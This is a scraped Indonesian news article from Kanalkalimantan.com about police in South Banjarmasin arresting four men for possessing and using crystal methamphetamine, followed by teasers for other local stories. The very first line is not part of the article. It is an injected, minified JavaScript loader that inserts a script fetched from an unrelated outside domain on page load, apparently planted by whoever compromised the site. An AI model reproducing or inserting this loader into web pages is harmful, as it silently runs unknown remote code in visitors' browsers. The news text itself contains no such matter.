(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Unit Reskrim Polsek Banjarmasin Selatan berhasil mengungkap kasus peredaran narkotika golongan 1 jenis sabu.
Kasus ini melibatkan dua tersangka yang berasal dari Kabupaten Banjar. Tersangka pertama adalah FP (26) warga Martapura dan MSR (33) seorang pengangguran warga Kertak Hanyar.
Keduanya ditangkap pada Selasa (23/1/2024) lalu di sebuah rumah Jalan Kelayan B Gang Gembira, Kelurahan Kelayan Tengah, Kecamatan Banjarmasin Selatan, Kota Banjarmasin.
Kapolsek Banjarmasin Selatan, Agus Sugianto melalui Kanit Reskrim Iptu Sudirno mengatakan, barang bukti yang berhasil disita meliputi satu paket kecil sabu dengan berat bersih sekitar 0,02 gram, sebuah bong dari bekas kemasan air mineral, dan sebuah korek api gas.
Baca juga: Wakar di Banjarmasin Ditangkap Simpan Sabu Satu Paket
Kronologis kejadian, pada pukul 20.00 Wita Anggota Buser Polsek Banjarmasin Selatan melakukan penggeledahan rumah yang berada di kawasan permukiman padat penduduk tersebut.
Pada saat itu kedua tersangka berada di rumah dan hendak menyedot sabu.
“Kedua pelaku sudah menyiapkan peralatan untuk mengkonsumsi sabu,” ujarnya.
Belum sempat pesta berlanjut, polisi langsung menyergap keduanya dan melakukan penggeledahan hingga ditemukan barang bukti satu paket sabu dikantong celana MSR.
Masih kata Iptu Sudirno setelah dilakukan pengembangan, polisi kemudian menangkap dua lelaki lain yang turut terlibat dalam penyalahgunaan narkoba tersebut.
Baca juga: Gugatan Setengah Triliun Almas Disebut Denny Indrayana Modus Pembungkaman Berpendapat
Mereka adalah FR alias Betet (45) warga Kelayan B selaku pemilik rumah dan MY alias Memet warga Alalak Kecamatan Banjarmasin Utara.
“Betet selaku pemilik rumah menyediakan tempat kepada MSR dan FP yang hendak menghisap sabu di rumahnya,” kata Kanit Reskrim.
Tersangka Betet kata polisi ditangkap di depan rumahnya Jalan Kelayan B Gang Gembira Kecamatan Banjarmasin Selatan pada Jumat (2/2/2024) sekitar pukul 23.00 Wita.
“Betet saat itu berada di depan rumahnya sedang berdiri dan memberikan sesuatu kepada tersangka MS alias Memet,” ujarnya.
Setelah diperiksa, ternyata barang yang diberikan Betet kepada Memet merupakan satu paket sabu.
Baca juga: Bandara Dhoho Kediri Resmi Dibuka, Warga Berwisata Dadakan
Saat ini, keempat tersangka dan barang bukti sudah diamankan di Mapolsek Banjarmasin Selatan untuk proses umum lebih lanjut. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More
This website uses cookies.